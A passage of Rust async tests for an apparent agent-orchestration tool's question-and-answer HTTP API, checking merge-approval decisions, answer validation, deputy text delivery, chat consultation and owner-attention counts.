11642        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11643        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11644        assert!(fx.questions().get(&q.id).unwrap().status.open());
11645        drop(publication);
11646        // Unknown liveness and armed auto-merge both fail without settling.
11647        state.driver_exited = false;
11648        state.driver_pid = None;
11649        state.save_under(fx.home.path()).unwrap();
11650        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11651        state.driver_exited = true;
11652        state.land_armed_head = Some("head".into());
11653        state.save_under(fx.home.path()).unwrap();
11654        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11655        state.land_armed_head = None;
11656        state.save_under(fx.home.path()).unwrap();
11657        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11658        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11659        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11660    }
11661
11662    #[tokio::test]
11663    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11664        let fx = Fixture::start().await;
11665        let mut state = obsolete_approval_state();
11666        state.status = RunStatus::Landing;
11667        state.driver_exited = true;
11668        let mut q = Question::new(
11669            state.id.clone(),
11670            crate::land::APPROVAL_NODE.into(),
11671            "land".into(),
11672            "Obsolete approval".into(),
11673            String::new(),
11674            vec!["merge".into(), "hold".into()],
11675        );
11676        state.land_approval = Some(crate::run::LandApproval {
11677            question: q.id.clone(),
11678            head: "head".into(),
11679        });
11680        state.save_under(fx.home.path()).unwrap();
11681        fx.questions().put(&mut q).unwrap();
11682        let mut task = Task::new(
11683            "Owner".into(),
11684            "Original instruction".into(),
11685            state.repo.clone(),
11686            Source::Human,
11687        );
11688        task.runs.push(state.id.clone());
11689        task.status = TaskStatus::Parked;
11690        fx.queue().put(&mut task).unwrap();
11691        // Model a crash after the run stop was persisted but before the queue
11692        // and answered question were flushed. Retrying must finish, not resume.
11693        state.merge_decision = Some(crate::merge_decision::Decision {
11694            question: q.id.clone(),
11695            target: crate::merge_decision::Target {
11696                pr: state.pr.as_ref().unwrap().url.clone(),
11697                head: "head".into(),
11698                language: "ja".into(),
11699            },
11700            choice: crate::merge_decision::DISMISS.into(),
11701            closed: false,
11702            replacement_run: None,
11703            replacement_pr: None,
11704        });
11705        state.status = RunStatus::Superseded;
11706        state.save_under(fx.home.path()).unwrap();
11707        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11708        let path = format!("/api/questions/{}/answer", q.id);
11709        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11710        let done = fx.queue().get(&task.id).unwrap();
11711        assert_eq!(done.status, TaskStatus::Done);
11712        assert_eq!(done.runs, task.runs);
11713        assert_eq!(done.instruction, task.instruction);
11714        assert!(done.action_applied(&q.id));
11715        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11716        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11717        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11718    }
11719
11720    #[tokio::test]
11721    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11722        let fx = Fixture {
11723            home: TempDir::new().unwrap(),
11724            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11725        };
11726        for choice in [
11727            crate::land::HOLD,
11728            crate::land::REPAIR,
11729            crate::land::APPROVE,
11730            crate::merge_decision::WITHDRAW,
11731            "reimplement:beta",
11732        ] {
11733            let mut q = Question::new(
11734                "old-run".into(),
11735                crate::land::APPROVAL_NODE.into(),
11736                "land".into(),
11737                "Decision".into(),
11738                "Review findings".into(),
11739                vec![
11740                    "merge".into(),
11741                    "hold".into(),
11742                    crate::land::REPAIR.into(),
11743                    crate::merge_decision::WITHDRAW.into(),
11744                    "reimplement:beta".into(),
11745                ],
11746            );
11747            q.merge_target = Some(crate::merge_decision::Target {
11748                pr: "https://github.com/example/repo/pull/42".into(),
11749                head: "exact-reviewed-head".into(),
11750                language: "ja".into(),
11751            });
11752            q.consult = Some(ask::ChatConsult {
11753                talk: "another-conversation".into(),
11754                at: jiff::Timestamp::now(),
11755            });
11756            fx.questions().put(&mut q).unwrap();
11757            let ui = Arc::new(Ui::new(
11758                fx.queue(),
11759                fx.questions(),
11760                fx.talks(),
11761                fx.runs(),
11762                fx.home.path().into(),
11763                std::path::PathBuf::from("."),
11764            ));
11765            let response = question_answer(
11766                State(ui.clone()),
11767                Path(q.id.clone()),
11768                Ok(Json(NewAnswer {
11769                    choice: Some(choice.into()),
11770                    text: None,
11771                })),
11772            )
11773            .await
11774            .unwrap();
11775            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11776            let disk = fx.questions().get(&q.id).unwrap();
11777            assert_eq!(disk.merge_target, q.merge_target);
11778            assert_eq!(disk.consult, q.consult);
11779            assert!(
11780                disk.answer_authority.is_none(),
11781                "a direct owner card is its own decision"
11782            );
11783            assert_eq!(disk.resolution().as_deref(), Some(choice));
11784            assert!(
11785                question_answer(
11786                    State(ui),
11787                    Path(q.id.clone()),
11788                    Ok(Json(NewAnswer {
11789                        choice: Some("merge".into()),
11790                        text: None
11791                    }))
11792                )
11793                .await
11794                .is_err(),
11795                "an already settled decision cannot turn into merge approval"
11796            );
11797        }
11798    }
11799
11800    #[tokio::test]
11801    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11802        let fx = Fixture {
11803            home: TempDir::new().unwrap(),
11804            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11805        };
11806        let mut state = crate::land::tests::repair_state(true, true);
11807        state.status = RunStatus::Landing;
11808        state.parked = true;
11809        state.driver_exited = true;
11810        let mut task = Task::new(
11811            "Existing PR owner".into(),
11812            state.instruction.clone(),
11813            state.repo.clone(),
11814            Source::Human,
11815        );
11816        task.runs.push(state.id.clone());
11817        task.status = TaskStatus::Parked;
11818        fx.queue().put(&mut task).unwrap();
11819        let mut q = Question::new(
11820            state.id.clone(),
11821            crate::land::APPROVAL_NODE.into(),
11822            "land".into(),
11823            "Contested merge".into(),
11824            "Original evidence".into(),
11825            vec!["merge".into(), "hold".into()],
11826        );
11827        state.land_approval = Some(crate::run::LandApproval {
11828            question: q.id.clone(),
11829            head: "reviewed-head".into(),
11830        });
11831        state.save_under(fx.home.path()).unwrap();
11832        fx.questions().put(&mut q).unwrap();
11833        // A later repair answer on this old card supersedes this manual hold.
11834        task.hold_manual(Some("Pause this PR".into()));
11835        fx.queue().put(&mut task).unwrap();
11836        // POST directly, without a preceding GET: validation must see the
11837        // same durable upgrade that the card, CLI and chat see.
11838        let ui = Arc::new(Ui::new(
11839            fx.queue(),
11840            fx.questions(),
11841            fx.talks(),
11842            fx.runs(),
11843            fx.home.path().to_path_buf(),
11844            state.repo.clone(),
11845        ));
11846        let response = question_answer(
11847            State(ui),
11848            Path(q.id.clone()),
11849            Ok(Json(NewAnswer {
11850                choice: Some(crate::land::REPAIR.into()),
11851                text: None,
11852            })),
11853        )
11854        .await
11855        .unwrap();
11856        assert_eq!(response.0.question.id, q.id);
11857        let upgraded = fx.questions().get(&q.id).unwrap();
11858        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11859        assert!(upgraded.detail.starts_with("Original evidence"));
11860        let claim = fx.queue().claim(&task.id).unwrap();
11861        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11862        assert!(
11863            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11864            "an existing driver keeps its claim"
11865        );
11866        drop(claim);
11867        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11868        let resumed = fx.queue().get(&task.id).unwrap();
11869        assert_eq!(
11870            resumed
11871                .resume_override
11872                .as_ref()
11873                .unwrap()
11874                .pinned_run
11875                .as_deref(),
11876            Some(state.id.as_str())
11877        );
11878        assert!(resumed.status.runnable());
11879        assert_eq!(resumed.instruction, task.instruction);
11880        assert_eq!(resumed.runs, task.runs);
11881        assert!(resumed.action_applied(&q.id));
11882        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11883        assert_eq!(fx.queue().list().len(), 1);
11884        assert_eq!(
11885            fx.queue().get(&task.id).unwrap().resume_override,
11886            resumed.resume_override
11887        );
11888        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11889        assert!(
11890            disk.merge_repairs.is_empty(),
11891            "only the claimed run driver may execute repair"
11892        );
11893        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11894    }
11895
11896    #[tokio::test]
11897    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11898        let fx = Fixture::start().await;
11899        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11900        let path = format!("/api/questions/{id}/answer");
11901
11902        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11903        assert_eq!(res.status, 200, "{}", res.body);
11904        let body = res.json();
11905        assert_eq!(body["status"], "answered");
11906        assert_eq!(body["answer"]["choice"], "Redis");
11907
11908        // Answered from the terminal in between the list and the tap: the UI
11909        // must be able to tell this from a bad request, so it can show the
11910        // recorded answer instead of an error.
11911        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11912        assert_eq!(again.status, 409, "{}", again.body);
11913        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11914    }
11915
11916    #[tokio::test]
11917    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11918        let home = tempfile::tempdir().unwrap();
11919        let ui = delta_test_ui(home.path());
11920        let mut q = Question::new(
11921            "task".into(),
11922            crate::land::APPROVAL_NODE.into(),
11923            "land".into(),
11924            "Explain?".into(),
11925            String::new(),
11926            vec!["hold".into()],
11927        );
11928        q.deputy = Some(ask::Deputy::new("context".into()));
11929        ui.questions.put(&mut q).unwrap();
11930        let mut cfg = stub_config();
11931        cfg.daemon.max_deputies = 0;
11932        let mut status = crate::daemon::Status::new();
11933        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11934        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11935        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11936        let error = question_say(
11937            State(ui.clone()),
11938            Path(q.id.clone()),
11939            Ok(Json(NewSay {
11940                body: "Explain the findings".into(),
11941            })),
11942        )
11943        .await
11944        .unwrap_err();
11945        assert_eq!(
11946            error.text_reason,
11947            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11948        );
11949        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11950
11951        let mut text = Question::new(
11952            "task".into(),
11953            "ask".into(),
11954            "operator".into(),
11955            "Which name?".into(),
11956            String::new(),
11957            vec![],
11958        );
11959        ui.questions.put(&mut text).unwrap();
11960        let Json(view) = question_answer(
11961            State(ui.clone()),
11962            Path(text.id.clone()),
11963            Ok(Json(NewAnswer {
11964                choice: None,
11965                text: Some("chosen name".into()),
11966            })),
11967        )
11968        .await
11969        .unwrap();
11970        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11971        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11972    }
11973
11974    #[tokio::test]
11975    async fn question_text_handler_admission_without_transport() {
11976        let home = tempfile::tempdir().unwrap();
11977        let ui = delta_test_ui(home.path());
11978        let mut q = Question::new(
11979            "task".into(),
11980            crate::land::APPROVAL_NODE.into(),
11981            "land".into(),
11982            "May this PR merge?".into(),
11983            String::new(),
11984            vec!["hold".into()],
11985        );
11986        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11987        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11988        ui.questions.put(&mut q).unwrap();
11989        let say = || {
11990            Ok(Json(NewSay {
11991                body: "Explain the findings".into(),
11992            }))
11993        };
11994        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11995            .await
11996            .unwrap_err();
11997        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11998        let response = rejected.into_response();
11999        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12000            .await
12001            .unwrap();
12002        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12003        assert_eq!(body["code"], "question_text_unavailable");
12004        assert_eq!(body["reason"], "deputy_exhausted");
12005        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12006        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12007        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12008        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12009            .await
12010            .unwrap();
12011        assert_eq!(view.text_delivery.state, "live");
12012        assert!(view.question.waiter.is_none());
12013        assert!(view.question.cwd.is_none());
12014        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12015        ui.questions.drop_lease(&q.id);
12016        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12017            .await
12018            .unwrap_err();
12019        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12020        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12021        let _ = question_answer(
12022            State(ui.clone()),
12023            Path(q.id.clone()),
12024            Ok(Json(NewAnswer {
12025                choice: Some("hold".into()),
12026                text: None,
12027            })),
12028        )
12029        .await
12030        .unwrap();
12031        assert_eq!(
12032            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12033            Some("hold")
12034        );
12035    }
12036
12037    #[tokio::test]
12038    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12039        let fx = Fixture::start().await;
12040        let store = fx.questions();
12041        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12042        store
12043            .update(&id, |q| {
12044                q.node = crate::land::APPROVAL_NODE.to_owned();
12045                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12046                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12047                Ok(())
12048            })
12049            .unwrap();
12050        let path = format!("/api/questions/{id}/say");
12051        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12052        assert_eq!(refused.status, 422, "{}", refused.body);
12053        assert!(
12054            refused.json()["error"]
12055                .as_str()
12056                .unwrap()
12057                .contains("deputy_exhausted")
12058        );
12059        assert!(store.get(&id).unwrap().thread.is_empty());
12060
12061        // A final live deputy is usable even with no ordinary waiter/cwd.
12062        store.beat(&id, ask::WaiterKind::Deputy);
12063        let view = fx.get("/api/questions").await.json();
12064        assert_eq!(view[0]["text_delivery"]["state"], "live");
12065        let accepted = fx
12066            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12067            .await;
12068        assert_eq!(accepted.status, 200, "{}", accepted.body);
12069        let before = std::fs::read(store.path_of(&id)).unwrap();
12070
12071        // The recipient exits between rendering and sending. Rejection must
12072        // preserve previously accepted text, the answer and delivery cursor.
12073        store.drop_lease(&id);
12074        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12075        assert_eq!(refused.status, 422, "{}", refused.body);
12076        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12077        let held = fx
12078            .post(
12079                &format!("/api/questions/{id}/answer"),
12080                Some(r#"{"choice":"hold"}"#),
12081            )
12082            .await;
12083        assert_eq!(held.status, 200, "{}", held.body);
12084        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12085    }
12086
12087    #[tokio::test]
12088    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12089        let repo = tempfile::tempdir().unwrap();
12090        let mut cfg = stub_config();
12091        cfg.daemon.max_deputies = 0;
12092        std::fs::write(
12093            repo.path().join("magi.toml"),
12094            toml::to_string(&cfg).unwrap(),
12095        )
12096        .unwrap();
12097        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12098        let mut status = crate::daemon::Status::new();
12099        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12100        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12101        let id = ask(&fx, "Explain?", &["hold"]);
12102        fx.questions()
12103            .update(&id, |q| {
12104                q.node = crate::land::APPROVAL_NODE.into();
12105                q.deputy = Some(ask::Deputy::new("context".into()));
12106                q.deputy.as_mut().unwrap().agent = "stub".into();
12107                Ok(())
12108            })
12109            .unwrap();
12110        cfg.daemon.max_deputies = 1;
12111        std::fs::write(
12112            repo.path().join("magi.toml"),
12113            toml::to_string(&cfg).unwrap(),
12114        )
12115        .unwrap();
12116        let view = fx.get("/api/questions").await.json();
12117        assert_eq!(view[0]["deputies_enabled"], true);
12118        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12119        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12120        let res = fx
12121            .post(
12122                &format!("/api/questions/{id}/say"),
12123                Some(r#"{"body":"Please explain"}"#),
12124            )
12125            .await;
12126        assert_eq!(res.status, 422, "{}", res.body);
12127        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12128    }
12129
12130    #[tokio::test]
12131    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12132        let fx = Fixture::start().await;
12133        let id = ask(&fx, "No seat", &[]);
12134        let store = fx.questions();
12135        let before = std::fs::read(store.path_of(&id)).unwrap();
12136        let res = fx
12137            .post(
12138                &format!("/api/questions/{id}/say"),
12139                Some(r#"{"body":"hello"}"#),
12140            )
12141            .await;
12142        assert_eq!(res.status, 422, "{}", res.body);
12143        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12144        let res = fx
12145            .post(
12146                &format!("/api/questions/{id}/answer"),
12147                Some(r#"{"text":"hello"}"#),
12148            )
12149            .await;
12150        assert_eq!(res.status, 200, "{}", res.body);
12151        assert_eq!(
12152            store.get(&id).unwrap().resolution().as_deref(),
12153            Some("hello")
12154        );
12155    }
12156
12157    #[tokio::test]
12158    async fn saying_something_appends_a_turn_without_answering() {
12159        let fx = Fixture::start().await;
12160        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12161        fx.questions().beat(&id, ask::WaiterKind::Asker);
12162        let path = format!("/api/questions/{id}/say");
12163
12164        let res = fx
12165            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12166            .await;
12167        assert_eq!(res.status, 200, "{}", res.body);
12168        let body = res.json();
12169        assert_eq!(body["status"], "open", "talking back is not a decision");
12170        assert_eq!(body["answer"], Value::Null);
12171        assert_eq!(body["thread"][0]["who"], "operator");
12172        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12173        assert_eq!(body["waiting_on_agent"], true);
12174        // Still open, still counted, still exactly one question.
12175        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12176    }
12177
12178    #[tokio::test]
12179    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12180        let fx = Fixture::start().await;
12181        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12182
12183        let list = fx.get("/api/questions").await.json();
12184        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12185
12186        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12187        assert_eq!(res.status, 409, "{}", res.body);
12188        let q = fx.questions().get(&id).unwrap();
12189        assert!(q.status.open());
12190        assert!(q.consult.is_none());
12191    }
12192
12193    #[tokio::test]
12194    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12195        let fx = Fixture::start().await;
12196        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12197        let cfg = Config {
12198            agents: vec![crate::config::AgentSpec {
12199                id: "mock".to_owned(),
12200                kind: crate::config::AgentKind::Command,
12201                model: None,
12202                command: vec!["true".to_owned()],
12203                extra_args: Vec::new(),
12204                env: Default::default(),
12205                prompt_delivery: None,
12206                max_turn_secs: None,
12207            }],
12208            ..Config::default()
12209        };
12210        let talk = crate::talk::begin(
12211            &fx.talks(),
12212            &cfg,
12213            fx.home.path().to_path_buf(),
12214            Some("mock"),
12215        )
12216        .unwrap();
12217        let mut task = Task::new(
12218            "t".to_owned(),
12219            "Do it".to_owned(),
12220            PathBuf::from("/repo/magi"),
12221            Source::Agent {
12222                run: talk.id.clone(),
12223                node: crate::queue::CHAT_NODE.to_owned(),
12224            },
12225        );
12226        task.start("20260902-000000-beef".to_owned());
12227        fx.queue().put(&mut task).unwrap();
12228
12229        let list = fx.get("/api/questions").await.json();
12230        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12231        assert_eq!(
12232            list[0]["choices"],
12233            serde_json::json!(["SQLite", "Redis"]),
12234            "the hand-over is never a choice"
12235        );
12236        fx.questions()
12237            .update(&id, |q| {
12238                q.node = crate::land::APPROVAL_NODE.into();
12239                q.choices = vec!["merge".into(), "hold".into()];
12240                Ok(())
12241            })
12242            .unwrap();
12243        let list = fx.get("/api/questions").await.json();
12244        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12245        assert_eq!(list[0]["can_consult_chat"], true);
12246        fx.questions()
12247            .update(&id, |q| {
12248                q.node = crate::bump::NOTICE_NODE.into();
12249                Ok(())
12250            })
12251            .unwrap();
12252        let list = fx.get("/api/questions").await.json();
12253        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12254        assert_eq!(list[0]["can_consult_chat"], false);
12255    }
12256
12257    #[tokio::test]
12258    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12259        let fx = Fixture::start().await;
12260        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12261        fx.questions()
12262            .update(&id, |q| {
12263                q.node = crate::land::APPROVAL_NODE.into();
12264                q.choices = vec!["merge".into(), "hold".into()];
12265                Ok(())
12266            })
12267            .unwrap();
12268        let cfg = Config {
12269            agents: vec![crate::config::AgentSpec {
12270                id: "mock".to_owned(),
12271                kind: crate::config::AgentKind::Command,
12272                model: None,
12273                command: vec!["true".to_owned()],
12274                extra_args: Vec::new(),
12275                env: Default::default(),
12276                prompt_delivery: None,
12277                max_turn_secs: None,
12278            }],
12279            ..Config::default()
12280        };
12281        // Not a git working tree, so its `magi.toml` is read from disk.
12282        let repo = fx.home.path().join("chat-repo");
12283        std::fs::create_dir_all(&repo).unwrap();
12284        let toml = repo.join("magi.toml");
12285        std::fs::write(&toml, "this is = = not toml").unwrap();
12286        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12287        let mut task = Task::new(
12288            "t".to_owned(),
12289            "Do it".to_owned(),
12290            PathBuf::from("/repo/magi"),
12291            Source::Agent {
12292                run: talk.id.clone(),
12293                node: crate::queue::CHAT_NODE.to_owned(),
12294            },
12295        );
12296        task.start("20260902-000000-beef".to_owned());
12297        fx.queue().put(&mut task).unwrap();
12298
12299        let path = format!("/api/questions/{id}/consult");
12300        let res = fx.post(&path, None).await;
12301        assert!(res.status >= 400, "{}", res.body);
12302        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12303        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12304
12305        std::fs::write(&toml, "").unwrap();
12306        let res = fx.post(&path, None).await;
12307        assert_eq!(res.status, 202, "{}", res.body);
12308        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12309        let q = fx.questions().get(&id).unwrap();
12310        assert!(q.status.open());
12311        assert!(q.answer.is_none());
12312        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12313        assert_eq!(res.json()["can_consult_chat"], true);
12314        let list = fx.get("/api/questions").await.json();
12315        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12316        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12317
12318        let res = fx
12319            .post(
12320                &format!("/api/questions/{id}/answer"),
12321                Some(r#"{"choice":"hold"}"#),
12322            )
12323            .await;
12324        assert_eq!(res.status, 200, "{}", res.body);
12325        assert_eq!(res.json()["answer"]["choice"], "hold");
12326        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12327        assert_eq!(res.json()["can_consult_chat"], false);
12328        assert_eq!(fx.post(&path, None).await.status, 409);
12329
12330        let mut talk = fx.talks().get(&talk.id).unwrap();
12331        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12332        let list = fx.get("/api/questions").await.json();
12333        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12334        assert_eq!(list[0]["origin_chat_closed"], true);
12335        assert_eq!(list[0]["can_consult_chat"], false);
12336
12337        fx.talks().remove(&talk.id).unwrap();
12338        let list = fx.get("/api/questions").await.json();
12339        assert_eq!(list[0]["origin_chat"], Value::Null);
12340        assert_eq!(list[0]["origin_chat_closed"], false);
12341        assert_eq!(list[0]["can_consult_chat"], false);
12342    }
12343
12344    #[tokio::test]
12345    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12346        let fx = Fixture::start().await;
12347        let store = fx.questions();
12348        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12349        store.beat(&id, ask::WaiterKind::Asker);
12350        assert_eq!(
12351            fx.get("/api/health").await.json()["questions_needs_owner"],
12352            1
12353        );
12354
12355        // The owner asks back instead of deciding: the ask bar, the nav badge
12356        // and the title must stop naming this question, because there is
12357        // nothing to decide until the agent answers - `status` alone cannot
12358        // say that, which is the whole reason `questions_needs_owner` exists
12359        // alongside `questions_open`.
12360        let res = fx
12361            .post(
12362                &format!("/api/questions/{id}/say"),
12363                Some(r#"{"body":"why not Postgres?"}"#),
12364            )
12365            .await;
12366        assert_eq!(res.status, 200, "{}", res.body);
12367        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12368        assert_eq!(
12369            fx.get("/api/health").await.json()["questions_needs_owner"],
12370            0,
12371            "waiting on the agent is not waiting on the owner"
12372        );
12373
12374        // `magi ask --thread` replying is what brings the owner count back -
12375        // the same event that would resume the CLI call blocked in `magi
12376        // ask`.
12377        let mut q = store.get(&id).expect("get");
12378        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12379            .expect("reply");
12380        store.put(&mut q).expect("put");
12381        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12382        assert_eq!(
12383            fx.get("/api/health").await.json()["questions_needs_owner"],
12384            1,
12385            "the agent's reply is what should light the banner back up"
12386        );
12387    }
12388
12389    #[tokio::test]
12390    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12391        let fx = Fixture::start().await;
12392        let store = fx.questions();
12393
12394        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12395        let res = fx
12396            .post(
12397                &format!("/api/questions/{empty_id}/say"),
12398                Some(r#"{"body":"   "}"#),
12399            )
12400            .await;
12401        assert_eq!(res.status, 400, "{}", res.body);
12402
12403        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12404        let mut answered = store.get(&answered_id).expect("get");
12405        answered
12406            .answer(Answer::Choice("SQLite".to_owned()))
12407            .expect("answer");
12408        store.put(&mut answered).expect("put");
12409        let res = fx
12410            .post(
12411                &format!("/api/questions/{answered_id}/say"),
12412                Some(r#"{"body":"still there?"}"#),
12413            )
12414            .await;
12415        assert_eq!(res.status, 409, "{}", res.body);
12416
12417        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12418        let mut abandoned = store.get(&abandoned_id).expect("get");
12419        abandoned.abandon("timed out");
12420        store.put(&mut abandoned).expect("put");
12421        let res = fx
12422            .post(
12423                &format!("/api/questions/{abandoned_id}/say"),
12424                Some(r#"{"body":"still there?"}"#),
12425            )
12426            .await;
12427        assert_eq!(res.status, 409, "{}", res.body);
12428    }
12429
12430    #[tokio::test]
12431    async fn an_answer_the_question_does_not_offer_is_refused() {
12432        let fx = Fixture::start().await;
12433        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12434        let path = format!("/api/questions/{id}/answer");
12435
12436        for body in [
12437            r#"{"choice":"Postgres"}"#,
12438            r#"{"text":"whatever you think"}"#,
12439            r#"{"choice":"Redis","text":"both"}"#,
12440            r#"{}"#,
12441        ] {
12442            let res = fx.post(&path, Some(body)).await;
12443            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12444            assert!(res.json()["error"].is_string(), "{}", res.body);
12445        }
12446        // Nothing above may have answered it.
12447        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12448    }
12449
12450    #[tokio::test]
12451    async fn a_free_text_question_takes_text_and_not_a_choice() {
12452        let fx = Fixture::start().await;
12453        let id = ask(&fx, "What should the flag be called?", &[]);
12454        fx.questions().beat(&id, ask::WaiterKind::Asker);
12455        let path = format!("/api/questions/{id}/answer");
12456
12457        assert_eq!(
12458            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12459            400
12460        );
12461        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12462        assert_eq!(res.status, 200, "{}", res.body);
12463        assert_eq!(res.json()["answer"]["text"], "--json");
12464    }
12465
12466    #[tokio::test]
12467    async fn an_unknown_question_is_a_json_404() {
12468        let fx = Fixture::start().await;
12469        let res = fx
12470            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12471            .await;
12472        assert_eq!(res.status, 404, "{}", res.body);
12473        assert!(res.json()["error"].is_string());
12474    }
12475
12476    #[tokio::test]
12477    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12478        let fx = Fixture::start().await;
12479        let questions = Questions::at(fx.home.path().join("questions"));
12480        let store = Notices::at(fx.home.path().join("notifications"));
12481        let mut q = ask::Question::new(
12482            "t1".into(),
12483            "conduct".into(),
12484            "conductor".into(),
12485            "Continue?".into(),
12486            String::new(),
12487            Vec::new(),
12488        );
12489        questions.put(&mut q).unwrap();
12490        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12491        n.covered_by = Some(q.id.clone());
12492        let n = store.raise(n).unwrap();
12493        let listed = fx.get("/api/notifications").await.json();
